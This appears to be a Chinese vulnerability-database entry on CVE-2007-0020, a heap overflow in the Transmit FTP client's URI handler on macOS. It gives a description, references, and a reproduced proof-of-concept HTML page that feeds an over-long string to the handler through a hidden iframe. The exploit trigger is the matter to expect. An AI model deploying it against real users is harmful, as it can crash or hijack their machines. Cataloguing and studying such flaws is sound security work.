Transmit "sftp://" URI处理器堆溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1112050 漏洞类型 缓冲区溢出
发布时间 2007-01-20 更新时间 2007-01-25
CVE编号 CVE-2007-0020 CNNVD-ID CNNVD-200701-402
漏洞平台 OSX CVSS评分 9.3
|漏洞来源
https://www.exploit-db.com/exploits/3160
https://www.securityfocus.com/bid/22145
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200701-402
|漏洞详情
Transmit是MACOSX平台上的FTP客户程序,可以执行基本的FTP操作。Transmit在处理sftp://URI时存在堆溢出漏洞,远程攻击者可以通过构造超长字符串来触发这个溢出,导致执行任意指令,可能控制用户机器。
|漏洞EXP
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
	"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html>
	<head>
		<title>MOAB-19-01-2007</title>
		<script>
			function boom() {
			    var recipient = document.getElementById('testbox');
				var str = '';
				for (var i = 0; i < 408; i++) {
				    str = str + 'A'
				}
				str = str + 'ABCD';
				
				alert('Payload size: ' + str.length);
				
				str = "ftps://" + str;
				ftarget = document.createElement('iframe');
				ftarget.src = str;
				ftarget.width = 1;
				ftarget.height = 1;
				recipient.appendChild(ftarget);
			}
		</script>
	</head>
	<body>
	    <div id="testbox" style="display: none;"></div>
		<input type="button" onclick="boom();" value="Test MOAB-19-01-2007" />

	</body>
</html>

# milw0rm.com [2007-01-20]
|受影响的产品
Transmit 3 Transmit 3 3.5.5
|参考资料

来源:BID
名称:22145
链接:http://www.securityfocus.com/bid/22145
来源:MILW0RM
名称:3160
链接:http://www.milw0rm.com/exploits/3160
来源:VUPEN
名称:ADV-2007-0273
链接:http://www.frsirt.com/english/advisories/2007/0273
来源:SECUNIA
名称:23861
链接:http://secunia.com/advisories/23861
来源:MISC
链接:http://projects.info-pull.com/moab/MOAB-19-01-2007.html
来源:OSVDB
名称:32694
链接:http://osvdb.org/32694
来源:XF
名称:transmit-url-handler-bo(31673)
链接:http://xforce.iss.net/xforce/xfdb/31673
来源:MILW0RM
名称:3160
链接:http://milw0rm.com/exploits/3160